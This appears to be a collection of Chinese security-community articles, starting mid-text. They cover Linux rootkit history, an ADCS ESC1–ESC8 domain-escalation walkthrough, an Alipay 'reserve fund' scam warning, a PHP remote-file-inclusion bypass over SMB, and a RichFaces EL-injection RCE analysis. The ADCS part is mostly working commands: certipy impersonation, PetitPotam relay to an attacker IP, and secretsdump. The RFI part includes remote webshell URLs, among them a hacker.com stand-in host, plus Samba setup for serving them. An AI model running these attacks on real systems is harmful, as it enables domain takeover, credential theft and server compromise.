根据某海外安全厂商2020年底的报告，H2Miner挖矿家族开始使用新的Rootkit样本。该Rootkit修改自开源项目“beurk”，它使用LD_PRELOAD技术劫持动态链接过程，将磁盘上的挖矿文件“kinsing”以及正在运行的相关进程隐藏。这使得IT管理员在感知到系统运行速度无故变慢后，无法通过“top”命令看到占用大量CPU资源的挖矿进程。值得一提的是，H2Miner家族目前仍十分活跃，我们发现2021年底该家族使用Log4j漏洞进行挖矿软件传播。
2021年我们还观测到活跃的TeamT/N/T挖矿家族使用的Rootkit样本。该家族除了利用修改自开源项目“Diamorphine”的内核态Rootkit之外，还在用户层替换了ps、top等系统命令文件，当使用这些命令进行排查时，挖矿的相关痕迹会被隐藏。具体代码如图：
2021年4月，某海外安全厂商曝光了一种新型远控程序Facefish，他们怀疑攻击者正在进行僵尸网络组网，并计划在组网完成后，以 **“访问权限即服务”**
（access-as-a-service）的方式出售该网络的访问权限。Facefish远控通过第一阶段的dropper释放出一个Rootkit，Rootkit利用用户态常用的动态链接库劫持技术，实现ssh、sshd的运行时链接程序劫持，最终在受害主机上放置一个后门。事实上，对于一个Rootkit程序，Facefish的这种用法十分原始，因为它仅利用了Rootkit的触发机制，恶意so文件中还可以增加一系列隐藏功能。动态链接库劫持效果如图：
为了降低被怀疑的概率，上述组织使用的恶意动态链接库分别命名为libsystem.so、libs.so，它们
**刻意模仿Linux的系统自带程序文件名，并驻留在系统文件路径下，** 企图蒙蔽服务器管理员。
试想如果你在包含上百个so文件，并且这些文件的文件名均以“lib”开头的文件夹/lib64中看到了libs.so，这会引起你的怀疑吗？不过对于防御的一方，上述场景并不会让人夜不能寐，因为针对用户态Rootkit，有诸
**如文件完整性检测、交叉视图等十分成熟的检测技术。** 归根结底，这些Rootkit都只运行在用户层，
**当防御措施深入进操作系统内核，从底向上看，他们通通无处遁形。**
## 内核态的高度定制化
防御方可以深入Linux操作系统内核进行防守，攻击的一方当然也可以进入内核层进行攻击。越接近Linux操作系统底层内核代码，Rootkit的开发难度越大，对其进行检测的难度也越高。对攻击者来说，高投入通常意味着更有价值的攻击目标和更高的回报，如果开发得当，Rootkit可以长期藏匿在目标机器中，所以内核态Rootkit也是攻击者关注的重点。
传统的内核态Rootkit使用可加载内核模块（LKM）技术进入内核层后，在内核层进行“hook”。从执行在用户态的程序调用“int
0x80”陷入内核开始，整个系统调用流程中的任何一个位置，都可能成为内核态Rootkit进行hook的目标，
**围绕“hook什么”，“如何hook”这两个问题，出现了近十种内核态Rootkit技术。**
与用户态Rootkit不同，由于内核态Rootkit直接对Linux内核源代码进行操纵，所以对Rootkit有 **极高的定制化要求。**
这是因为经过多年的发展，Linux的内核版本众多，每个版本的内核代码都有或多或少的修改，攻击者开发的某个内核态Rootkit可以在A版本上正常运行，很可能在B版本上完全失效，这就可能出现文章开头提到的那一幕。
前文提到的TeamT/N/T挖矿家族除了在用户态替换系统命令文件外，还使用内核态Rootkit技术，将恶意内核模块diamorphine.ko加载进内核，实现进程、模块、文件目录的隐藏以及用户权限的提升。该挖矿家族以云主机为目标，Rootkit
**只能在2.6.x、3.x、4.x内核版本上正常运行，** 具体实现如图：
除了黑产，APT组织发起的定向攻击中也用到了内核态Rootkit。APT组织对隐蔽性有更高的要求，这也给信息收集环节提出了更大的挑战，APT组织需要清楚的知道某次定向攻击的目标所使用Linux服务器的内核版本号。在必要条件下，APT组织可以拿到与目标服务器完全相同的实体，并直接在其上进行Rootkit开发。例如震网病毒事件中，攻击者对目标设备了如指掌，而后在恶意代码中加入了严苛的环境判断。再例如2020年曝光，据称由APT28开发的内核态Rootkit
Drovorub，它针对 **3.7以下版本** 的Linux内核，特别是Red Hat发行版进行攻击。
## 内核态攻防进入深水区
Rootkit
**最关键的要点是隐藏，而隐藏意味着攻击者清楚的知道为什么某个文件（夹）会显示，为什么某个网络连接可被观测，然后对这些显示的机制进行绕过，以达到隐藏的效果。**
攻击者知道的这些机制，防御方当然也知道，并且对其开展检测，而攻击者进一步进行绕过，随后便产生了攻防双方的猫鼠游戏。Linux内核态Rootkit攻防的本质，是双方谁对操作系统底层技术更加了解。继续深入Linux内核，有没有更加底层的Rootkit技术？答案当然是有，而且近年来越来越多。
2015年，Ryan利用Linux内核中的 **kprobe机制**
实现了Rootkit。Kprobe是Linux内核开发者用于内核函数跟踪的一种轻量级内核调试技术，这个Rootkit展示了利用基于kprobe机制进行hook，实现Rootkit功能的可行性。
2016年，Michael在Blackhat上提出了一种基于命名空间的新型Linux Rootkit——Horse
Pill，它在操作系统启动过程中劫持虚拟根文件系统initrd（boot loader initialized RAM
disk），使受攻击的服务器进入另一个由攻击者创建的“楚门的世界”（即一个子命名空间）。在这个子命名空间中，用户所有的操作都能正常执行，但完全意识不到还存在另一个并行运行的，由攻击者所控制的“真实世界”。
在kprobe的基础上，Linux 4.0以上版本增加了 **eBPF技术，**
该技术可以在不加载内核模块的前提下，在Linux内核中运行用户编写的程序。Guillaume在2021年Blackhat上公开了基于eBPF的Rootkit。
## 总结
虽然kprobe、Horse Pill、eBPF在内核更加底层的位置完成了Rootkit的隐藏功能，但是
**痕迹是否真的隐藏，会根据观测的视角而大不相同。** 理论上 **不存在没有任何痕迹的Rootkit，**
总有某些角度可以观测到系统出现了异常，因为如果一个程序在所有视角都隐藏，那么攻击者也无法对它进行控制。上述这些技术可以被攻击者所利用，而防御方同样可以利用它们。
**现在各安全公司已利用它们设计功能更强大的安全软件，对系统进行监控。**
我们已经深入Linux内核深处，是否还存在更加底层的Rootkit？2021年12月28日，海外某安全公司给出了突破操作系统的答案。他们发现了固件Rootkit“iLOBleed”，其隐藏在惠普固件HP
iLO 上，同时可以以最高权限访问和修改设备上所有的软硬件资源。
事实上，对于现有的高级Rootkit，安全软件已经非常难以检测，通常需要安全专家人工介入分析，
**可以想象某些由APT组织定向投递的Rootkit正在受害机器中潜伏。** 对Rootkit技术进行研究，
**不是去解决想象中的问题，而是回应真实的ring0世界。**
## 参考资料
<https://www.4hou.com/posts/vLmm>
<https://www.trendmicro.com/en_us/research/20/k/analysis-of-kinsing-malwares-use-of-rootkit.html>
<https://therecord.media/malware-campaign-targets-server-hosting-software-cwp/>
<https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamT/N/T.pdf>
<https://www.blackhat.com/docs/us-16/materials/us-16-Leibowitz-Horse-Pill-A-New-Type-Of-Linux-Rootkit.pdf>
<https://github.com/elfmaster/kprobe_rootkit>
<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-With-Friends-Like-EBPF-Who-Needs-Enemies.pdf>
<https://www.secureworld.io/industry-news/access-as-a-service-rising-in-popularity>
<https://threats.amnpardaz.com/en/2021/12/28/implant-arm-ilobleed-a/>
<https://www.ptsecurity.com/ww-en/analytics/rootkits-evolution-and-detection-methods/> | 社区文章 |
Agha@深蓝实验室天雄战队
## 前言
2021年BlackHat发布了《Certified_Pre-Owned》白皮书，详细介绍了ADCS的滥用手法，同时在对大型企业的实战攻防中，ADCS在企业域中被广泛部署。本文针对ADCS的不安全模板配置，结合实战场景总结出在不同的错误模板下导致域权限提升的攻击手法。
## 测试环境
攻击机：10.128.20.123
ADCS服务器：10.211.55.20
域控：10.211.55.18
所有测试均可在域外进行攻击利用
## 错误模板
### ESC1-基础
所需配置：
* 有权限去获取证书
* 能够登记为客户端身份验证或智能卡登录等
* CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT开启
证书模板控制台certtmpl.msc，复制工作站身份认证模板
修改模板名
扩展中-应用程序策略-加入客户端身份认证（对应配置条件二）
安全中加入Domain Users具有注册权限（对应配置条件一）
使用者名称中，选择在请求中提供（对应配置条件三）
最后在certsrv.msc证书模板中发布ESC1证书
漏洞发现
#ceripy查看所有模板
certipy find -u [email protected] -p 123@Qwe -dc-ip 10.211.55.18 -vulnerable -debug
-vulnerable 查看该成员身份的易受攻击的证书模板
证书模板一共36个，颁发了14个
查看保存结果，hack用户满足易受攻击的ESC1模板条件。
**注意Certificate Name Flag和EKU标识为ESC1模板特征。**
漏洞利用
针对ESC1请求证书
#分别使用-upn和-dns参数指定任意的UPN或DNS
certipy req -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target-ip 10.211.55.20 -template ESC1 -upn [email protected] -dns 2019-AD.lhc.local
身份验证，auth命令将询问您使用哪个身份进行身份验证
certipy auth -pfx administrator_2019-ad.pfx -dc-ip 10.211.55.18
UPN-administrator身份
DNS-2019-AD\$身份
### ESC2-错误配置
所需配置：
* 其他配置与ESC1一样
* 只有扩展中设置有所不同证书模板定义了 Any Purpose 类型的 EKU，Any Purpose 指证书可以用于任何目的
漏洞发现
certipy find -u [email protected] -p 123@Qwe -dc-ip 10.211.55.18 -vulnerable -debug
满足ESC2的易受攻击模板同样满足ESC3条件，后续利用可以采用ESC3模板攻击手法
注意Any Purpose为Ture为ESC2模板特征
漏洞利用
#以ESC2为模板申请证书
certipy req -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template ESC2
#使用hack证书代理申请Administrator证书，注意-on-behalf-of参数值必须是DOMAIN\USER的形式，而不是域的FQDN，即lhc而不是lhc.local
certipy req -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template User -on-behalf-of 'lhc\Administrator' -pfx hack.pfx
#身份认证
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18
### ESC3-证书申请代理
配置1：
* 其他配置与ESC1一样
* 只有扩展中设置有所不同，证书模板定义了 证书申请代理的 EKU
配置2：
* 其他配置与ESC1一样
* 发布要求修改如下
漏洞发现
certipy find -u [email protected] -p 123@Qwe -dc-ip 10.211.55.18 -vulnerable -debug
注意EKU参数为Certificate Request Agent为ESC3特征
漏洞利用
同ESC2
#以ESC3为模板申请证书
certipy req -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template ESC3
#使用hack证书代理申请Administrator证书，注意-on-behalf-of参数值必须是DOMAIN\USER的形式，而不是域的FQDN，即lhc而不是lhc.local
certipy req -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template User -on-behalf-of 'lhc\Administrator' -pfx hack.pfx
#身份认证
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18
**配置二需要使用certify.exe**
#查看所有已办法证书
Certify.exe find /ca:"CS2016.Lhc.local\Lhc-CS2016-CA" > 1.txt
#当前域用户申请以ESC3_2为模板的证书，格式为pem，需要转化为pfx
Certify.exe request /ca:"CS2016.Lhc.local\Lhc-CS2016-CA" /template:ESC3_2
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
#以当前域用户证书申请域管证书
Certify.exe request /ca:"CS2016.Lhc.local\Lhc-CS2016-CA" /template:ESC3_2 /onbehalfof:lhc\administrator /enrollcert:cert.pfx
#Rubeus.exe
Rubeus.exe asktgt /user:lhc\administrator /certificate:cert.pfx
#票据转化
转化Rubeus的base64（kirbi）为ccache，导入票据再利用
### ESC4-写入权限
ESC4是指 **用户对证书模板具有写入权限** 。可以滥用来覆盖证书模板的配置，以使该模板容易受到ESC1的攻击。
**Authenticated Users-ESC4**
Authenticated
Users组中包含Windows系统中所有使用用户名、密码登录并通过身份验证的账户，不包括来宾账户Guest，即使来宾帐户有密码。
与Everyone的区别在于Everyone包括所有账户，如内置的来宾账户和LOCAL_SERVICE
配置1：
工作站身份认证模板
* 只修改一处安全组默认完全控制，拥有写入权限
可以看到Authenticated Users拥有写入权限
**Authenticated Users-ESC4_1**
域用户拥有写入权限
* 只修改一处安全组默认完全控制，拥有写入权限
可以看到Domain Users拥有写入权限
利用
#保留旧ESC4模板配置并修改ESC4模板
certipy template -u [email protected] -p 123@Qwe -template ESC4_1 -save-old
#利用新ESC4证书模板申请证书
certipy req -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target-ip 10.211.55.20 -template ESC4_1 -upn [email protected]
#身份验证
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18
#模板复原
certipy template -u [email protected] -p 123@Qwe -template ESC4 -configuration ESC4.json
更新后的ESC4新模板
ESC4
ESC4_1
### ESC6-SAN
配置：
EDITF_ATTRIBUTESUBJECTALTNAME2 的滥用来启用 SAN (主题备用名)，从而允许用户在申请证书时说明自己身份
满足条件：
* 企业 CA 授予低权限用户请求权限（默认）；
* 模板中 CA 管理员审批未启用（默认）；
* 模板中不需要授权的签名（默认）；
* CA+EDITF_ATTRIBUTESUBJECTALTNAME2（以下为开启命令）
#开启EDITF_ATTRIBUTESUBJECTALTNAME2
certutil -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
#重启certsvc服务
net stop certsvc
net start certsvc
攻击利用
攻击方式与ESc1相同，不同之处在于您可以选择任何允许 **客户端身份验证** 的证书模板（比如默认颁发的User模板）
#请求以hack用户为身份的User模板证书
certipy req -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template User -upn [email protected]
#身份验证
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18
在2022年5月的安全更新之后，新证书将有一个安全扩展，其中嵌入了请求者的objectSid属性。对于ESc1，此属性将从指定的SAN中反映，但对于ESC6，此属性将反映请求者的对象SID，而不是从SAN。
**关闭EDITF_ATTRIBUTESUBJECTALTNAME2命令**
certutil –setreg policy\EditFlags –EDITF_ATTRIBUTESUBJECTALTNAME2
### ESC7-ManageCa
配置条件：
当用户或者所属组拥有管理CA权限
域普通用户所属组一般包括Domain Users、Authenticated Users
Authenticated Users
Domain Users
ESC7漏洞发现
certipy find -u [email protected] -p 123@Qwe -dc-ip 10.211.55.18 -vulnerable
发现hack用户具有管理CA权限
1. 因为hack用户具有管理CA权限，可以通过hack用户添加管理证书权限
certipy ca -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -dc-ip 10.211.55.18 -target 10.211.55.20 -add-officer hack
启动SubCA证书模板，这个是默认颁发的
2.查看颁发证书
certipy ca -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -dc-ip 10.211.55.18 -target 10.211.55.20 -list-templates
如果SubCA模板没有启动，可以用以下命令：
certipy ca -ca Lhc-CS2016-CA -enable-template SubCA -u [email protected] -p 123@Qwe -target 10.211.55.20
3.请求基于SubCA模板的证书，此请求将被拒绝，但我们将 **保存私钥并记下请求ID，主要是记录ID**
certipy req -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template SubCA -upn [email protected]
4.通过管理CA和管理证书，我们可以使用ca命令和-Issue-Request发出失败的证书请求。
certipy ca -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -issue-request 86
成功颁发证书
5.使用REQ命令和-Retrive检索已颁发的证书并认证
#检索已颁发的证书
certipy req -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -retrieve 86
#身份认证
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18
### ESC8-Relay
#### 利用过程
##### ADCS认证
http://10.211.55.20/certsrv/certfnsh.asp
攻击者将用户/机器身份验证中继到 AD CS 服务器并获取用户/机器证书
#### 查看CA机器
certutil -config - -ping
命令行显示
certutil -dump -v
#### ntlmrelayx.py将CA设置为中继目标
python3 ntlmrelayx.py -t http://10.211.55.20/certsrv/certfnsh.asp -smb2support --adcs --template 'Domain Controller'
##### 强制认证
结合场景，这里还可以使用printerbug、SpoolSample、DFSCoerce等进行强制认证
#PetitPotam（不需要账号密码）
python PetitPotam.py -u '' -d '' -p '' 10.128.20.123（攻击机中转，回连地址） 10.211.55.18（目标机器）
#### 获取到证书
[*] Base64 certificate of user 2019-AD$
#### 注入票据
#Rubeus.exe
Rubeus.exe asktgt /user:HC$ /certificate:certificatebase64body /ptt
#gettgtpkinit.py
python3 gettgtpkinit.py Lhc.local/2019-AD$ -pfx-base64 -pfx-base64 MIIR...（获取的证书） kirbi.ccache
#导入票据
export KRB5CCNAME=kirbi.ccache
#### dumphash
python3 secretsdump.py -k -no-pass 2019-AD.lhc.local
#### Window环境
考虑实战环境，在没有Linux机器以及Python环境下的利用，存在一台Windows机器与域控、ADCS服务器网络连通即可
将Python环境打包，参考：<https://www.jianshu.com/p/e2402fb35553>
#转发445，需要管理员权限
divertTCPConn.exe 445 4455 debug
#监听
python.exe ntlmrelayx.py -t http://10.211.55.20/certsrv/certfnsh.asp -smb2support --smb-port 4455 --adcs --template DomainController
##### 2008
##### 2012
##### 2016
##### 2019
##### win10
## 参考连接
<https://tttang.com/archive/1593/>
<https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf>
<https://github.com/ly4k/Certipy>
<https://github.com/Arno0x/DivertTCPconn>
<https://blog.csdn.net/qq_36119192/article/details/119457576> | 社区文章 |
# 风险提示：小心支付宝“备用金”诈骗！
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近日，据360手机先赔用户反馈，在电商平台购物后，被虚假的快递员以快递丢失给予赔偿为名，骗取支付宝备用金。
## 备用金“理赔”诈骗
### 步骤一：
### 步骤二：
以退款为由，索要用户支付宝账号。随后告知用户已退款，但其实用户并没有收到。此时，对方表示用户没有开通 **“快速理赔通道”**
，导致退款无法到账，并引导用户添加指定客服QQ进行退款操作。
### 步骤三：
退款客服让用户在支付宝中搜索 **“备用金”** ，并引导用户开启功能。 **以“商家退款理赔资金”为幌子，**
要求用户从“备用金”中提取金额。用户在备用金界面，按照指引，准备提取赔付的300元，但实际上并没有输入金额的地方，点击申请后，500元备用金会直接转到支付宝余额。
### 步骤四：
对方表示用户多取了赔付资金，需要将差价退回。但通过支付宝还款会产生一个借贷关系，可以将资金直接转给专属客服，可避免产生借贷关系。
### 步骤五：
用户向对方转账后，对方表示理赔通道没有成功关闭，造成的原因是 **芝麻分低、系统检测超时卡单**
等，要求用户继续关闭理赔通道。关闭的方式则为开通蚂蚁借呗、贷款应用额度，并将所贷资金转给对方。
骗局看似简单，实际上骗子充分利用了受害人的心理，且在每个环境都设置了专门的话术，骗取信任。骗子那套说辞到底蹊跷在哪里？安全专家来分析~
### 如何取得用户信任
**话术：** 骗子首先会跟用户确认购买商品订单的信息，并主动告知退款赔偿。在后续操作过程中，会提示用户通话过程全程录音，使用多个客服与用户进行沟通。
**安全专家解读：** 准确说出用户购买商品信息，并主动提出赔偿，增加了“客服”身份可信度。
### 如何引导用户开通“快速理赔通道”
**话术：** 反复询问用户是否收到退款，若没有收到退款，则谎称没有开通“快速理赔通道”。
**安全专家解读：** 营造一种是用户自身原因导致未退款成功的假象。
##
### 如何引出支付宝“备用金”
**话术：** 让用户搜索关键词找到“备用金”功能。
**安全专家解读：** 骗子利用相关搜索规则，在备用金前添加了 **“商家理赔”** 字样，让用户以为是理赔资金。
**图片来自网络**
### “心理大师”诱导转账
**话术：** 一旦用户开通备用金且不退还差价，对方就会以用户自行操作会影响征信为由恐吓用户。
**安全专家解读：** 骗子以“影响征信”这个痛点，充分拿捏了人们紧张的心理。
## 支付宝“备用金”到底是什么？
据官方描述，备用金相当于一款 **小额短期借款产品** ，用户通过身份认证，申请成功后，500元备用金会自动到支付宝余额中。也就是说，
**这笔500元的备用金，相当于用户申请的小额短期贷款。**
## 用户订单信息为什么会泄露？
遭遇网购退款诈骗的案例屡见不鲜，骗子往往精准的掌握用户订单信息，到底是哪个环节导致信息泄露呢？通过警方公布的打击案例及目前已掌握的资料看，
**此类诈骗可能是通过以下方式获取到受害人的信息：**
**方式一：** 定向窃取商家账号。在电商平台，以买家的身份给卖家发送盗号木马，盗取卖家的电商平台账号。
**方式二：**
攻击电商平台商家ERP订单系统。商家为方便对商品库存、订单发货进行管理，会使用ERP系统进行商品进出登记，而提供此类ERP服务的商家众多，其中不乏一些安全能力建设不足的商家。
## 安全课堂
n小心上门来退款的“客服”，遇到这种情况请先与官方平台确认，千万不要脱离平台进行私下转账等交易，谨防别骗。
n对于新型诈骗，骗子往往利用用户对某产品功能缺少认知而进行诈骗，一旦遇到让扫码、转账、输入验证码等情况，要仔细确认，避免因为认知差异被骗。 | 社区文章 |
**作者：Ethan**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！
投稿邮箱：[email protected]**
#### **前言**
为什么有今天这篇文章？原因是我在浏览Twitter时，发现关于远程文件包含RFI的一个奇淫技巧！值得记录一下，思路也很新奇！因为它打破我之前以为RFI已死的观点。
#### **正文**
##### **RFI引出**
我们知道php最危险的漏洞函数类别之一就是文件包含类的函数，诸如`include`，`include_once`，`require，require_once`语句的时候，都会使用`$_GET`或者是其他未经过滤的变量，这就是一个主要的安全风险。
在PHP应用中，通常会有两个问题导致RFI漏洞。其中之一就是应用程序逻辑错误。这些漏洞产生的原因是本来应该被包含到另一个页面的文件并没有被包含，而是包含了其他文件。当这些文件独立执行时，就没有配置文件来指定这些变量的默认值，如果web应用配置不正确的话，用户就可以自己指定文件作为请求的一部分。
用一个最简单的例子来演示一下RFI
<?php
$file=$_GET['file'];
include($file);
?>
在上面的代码中，file参数从get请求中取值，并且是用户可控的值。file接收到参数值后直接带入到PHP文件中，没有经过任何处理。这样攻击者就可以发起相应的请求，从而让应用程序执行恶意脚本。例如，一个webshell如下：
http://example.com/?file=http://hacker.com/shell.php
通过这样操作，我们就可以远程包含一个shell，造成了RCE，但是这样操作有一个前提，要在`php.ini`中设置如下：
- allow_url_fopen=on
- allow_url_include=on
正常情况下，当这两个设置为off时，这个漏洞是不存在的！
##### **另辟蹊径**
###### **PHP和SMB共享文件访问**
在PHP配置文件中，`allow_url_include`包装器默认设置为“关闭”，指示PHP不加载远程HTTP或FTP
URL，从而防止远程文件包含攻击。但是，即使`allow_url_include`和`allow_url_fopen`都设置为off，PHP也不会阻止SMB
URL加载。
###### **攻击场景**
当易受攻击的PHP应用程序代码尝试从受攻击者控制的SMB共享加载PHP Web
shell时，SMB共享应该允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的SMB服务器。因此，一旦易受攻击的应用程序尝试从SMB共享访问PHP
Web shell，SMB服务器将不会要求任何凭据，易受攻击的应用程序将包含Web shell的PHP代码。
首先我重新配置PHP环境并在php.ini文件中禁用`allow_url_fopen`以及`allow_url_include`。后来配置的SMB服务器具有匿名读访问权限。SMB共享准备就绪后，利用易受攻击的应用程序
###### **PHP环境设置**
首先我们要把被攻击主机的php.ini的`allow_url_fopen`和`allow_url_include`设置为Off
执行phpinfo查看配置是否成功
在继续之前，让我们确保当我们尝试访问受我们控制主机的Web shell时，PHP代码不允许远程文件包含
当我试图从远程主机包含PHP Web shell时，应用程序抛出错误并且没有发生RFI！
###### **使用匿名读取访问权限配置SAMBA服务器（Linux）**
使用下面的命令安装SAMBA服务器：
apt-get install samba
创建SMB共享目录：
mkdir /var/www/html/pub/
配置新创建的SMB共享目录的权限：
chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/
运行以下提到的命令以删除SAMBA服务器配置文件的默认内容
echo > /etc/samba/smb.conf
将下面的内容放在`/etc/samba/smb.conf`文件中
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ethan]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
重新启动SAMBA服务器以应用配置文件`/etc/samba/smb.conf`中的新配置
service smbd restart
成功重新启动SAMBA服务器后，尝试访问SMB共享并确保SAMBA服务器不要求凭据。
在我的例子中，SAMBA服务器IP是192.168.23.129，我需要访问Windows文件浏览器中的SMB共享，如下：
\\192.168.23.129\
###### **在SMB服务器中共享PHP Web shell**
在目录`/ var / www / html / pub`中共享PHP shell，这是SMB共享指令`ethan`的目录。
这里放了两个shell，一个一句话`ant.php`用来测试蚁剑连接，一个大马`poc.php`
接下我们开始攻击，首先包含`poc.php`执行我们的大马！
http://127.0.0.1:8888/rfi.php?file=\\192.168.23.129\ethan\poc.php
尝试蚁剑连接一句话！
Then, we get it！
#### 后记
有时候我们会局限在传统安全思维的禁锢，导致我们的视线范围缩小了许多，因此，打破固有思维，才能发现意想不到的漏洞！
#### 参考链接
<http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html>
* * * | 社区文章 |
# Red Hat JBoss EAP RichFaces 4.x RCE
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这是一个未公开的利用思路，仅仅做技术思路分享
在 jenkins
中我找到了绕过黑名单的方法，那么同样也有很多框架/程序用的是白名单，一定意义上说必须满足程序正常执行流程的一些类才能够通过白名单的限制，岂不是可以说白名单就绝对安全？
一般来说白名单的安全性大于黑名单的，不过我还是在 jboss 下对 jsf 的实现框架 richfaces
中学到了新姿势，在此基础上加以思考获得了一些新的操作
这篇文章主要分享白名单下反序列化的利用姿势和一些个人所想所得
( richfaces虽然早就不维护，但是在16年前后使用量还是不错的，也对实际网络环境做过简单测试，基本上无阻碍rce。在18年，PayPal 主站也因为
richfaces3.x 的 rce ，被拿下过 shell )
## 漏洞相关
先去看看 richfaces4.x 的反序列化漏洞相关
CVE-2015-0279：
漏洞详细：<https://issues.jboss.org/browse/RF-13977>
补丁diff：<https://github.com/richfaces/richfaces/commit/4c5ddae4d6ddcea591fa949762c1c79ac11cac99>
仔细查阅资料的话，会发现这个 cve 其实就是通过反序列化生成 el 相关，然后执行的 el 表达式，因为设计需要，所以刚好 el
相关的类是被写入了白名单的，就是一个 反序列化 + el 表达式执行的好姿势
官方的缓解措施也比较简单粗暴，你既然要执行 el ，那么我拦截恶意注入的 el 表达式不就好了嘛，直接拦截左括号 ( ，确实要是没有括号，就不能执行复杂的
el 表达式了，只能执行 foo.test 之类的，获取对象的属性值
我对 反序列化 + el 的这种姿势也是分析过，不过版本是 richfaces3.x
的，文章在：<https://xz.aliyun.com/t/3264>
CVE-2018-12532：
漏洞详细：<https://codewhitesec.blogspot.com/2018/05/poor-richfaces.html>
莫得补丁，因为 richfaces 项目官方不维护了
这个 cve 其实就是文章中所说的 RF-14309 ，然后思路很厉害，但是限制条件比较大，因为利用链中的类是在 4.5.3
版本开始才加入白名单的，也就是说更早的版本根本没法打
主要思路就是，作者对 el 解析相关了解的很深，之前的 cve-2015-0279 已经对 el 表达式进行了拦截，只能调用 foo.test
这类表达式。但是 el 设计中有一个 ValueMapper ，它的作用就是在解析 foo.test 的值的时候做一定的相关操作，在操作流程中可以执行
Mapper 中所指定的 el 表达式，注意这是两层，ValueMapper 和 MethodExpression 是分开的，cve-2015-0279
拦截的是 MethodExpression 中的 el 表达式，不会拦截 ValueMapper 中的表达式，所以成功在白名单+字符串黑名单拦截下拿到了
rce
Richfaces4.x 反序列化相关就了解的这么多，接下来去看看它的反序列化白名单
## 反序列化白名单
whitelist = com.sun.el.lang.VariableMapperImpl,
javax.el.Expression,
javax.faces.application.Resource,
javax.faces.component.StateHolderSaver,
javax.faces.view.Location,
org.apache.el.lang.VariableMapperImpl,
org.jboss.el.lang.VariableMapperImpl,
org.jboss.el.MethodExpressionImpl,
org.jboss.weld.bean.proxy.util.SerializableClientProxy,
org.jboss.weld.bean.StringBeanIdentifier,
org.richfaces.resource.SerializableResource
从命名就能看出基本上都是和资源、视图、el表达式相关的反序列化类
要不是 el 能够执行代码的话，想要拿到 rce 是非常困难的，这个时候我对 el 相关并不了解，甚至 ValueMapper
这些功能都没听说过，我自己的思路就是，能不能找到一个点，它在 cve-2015-0279 那样的 getExpressionString 调用返回的 el
表达式是满足要求的，但是又在解析 el 的时候，用的其他的表达式呢？
简单来说就是
getExpression -> normal-EL
invokeExpression -> evil-EL
## 容错机制给机会
本来抱着找着试试看的心态去挖漏洞的，没想到在查看最后一个符合白名单的类的时候，就找到了符合心里所期望的那种解析流程，在总结过程中发现还是归功于程序设计的容错小机制
`com.sun.faces.facelets.el.ContextualCompositeMethodExpression`
这个类是继承于 MethodExpression 的，所以满足原有的触发流程
之前一直没放过图，我们还是先看看 richfaces4.x 的最终触发流程，如下图：
稍微解释一下，上图是最后 el 表达式执行的地方，成员变量 `contentProducer` 、`expiresExpression`
都是反序列化得到的类，也就是说用户可控的，在 encode 函数中，先对 contentProducer.getExpressionString 做提取
el 表达式过滤操作，如果没有左括号 ( ，就调用 `contentProducer.invoke` ，我对 el 了解不深，只知道 `getValue`
、`invoke` 等函数可以触发 MethodExpression 的 el 表达式执行操作
现在去看看 `ContextualCompositeMethodExpression` 中的 getExpressionString 函数流程：
public String getExpressionString() {
return this.delegate.getExpressionString();
}
先不着急知道 delegate 是啥，反正此时 getExpressionString 是对 delegate 操作的，再去看看
`ContextualCompositeMethodExpression` 中的 invoke 函数流程：
上图中第一个框，确实是操作的 delegate ，调用他的 invoke 函数，但是我们稍微细心一点会发现在后续的抛错处理中，再次调用了
`getValue` 和 `invoke` 等操作。稍微梳理一下这个流程，如果 delegate 的 invoke 调用过程抛错，那么在 catch
代码块中，满足 source 成员变量不为 null 并且该异常是 MethodNotFoundException 的对象的话，就能执行
`source.getValue`
我们看看 source 和 delegate 分别是啥：
delegate 又是一个 MethodExpression ，而 source 是一个 ValueExpression 的，ValueExpression
的 getValue 函数也能执行 el 表达式，所以我们就已经绕过了这个限制
简单梳理一下：
用户发出恶意请求
->
contentProducer.getExpressionString
->
ContextualCompositeMethodExpression.delegate.getExpressionString
->
Delegate 中不含有 ( ，bypass
->
contentProducer.invoke
->
ContextualCompositeMethodExpression.delegate.invoke
->
执行过程中发生 MethodNotFoundException 异常，进入 catch 代码块
->
ContextualCompositeMethodExpression.source.getValue
->
El 表达式执行，造成 rce
流程大致如上所述，更前端的我就不写了，比如像路由控制，参数控制，反序列化流程处理等
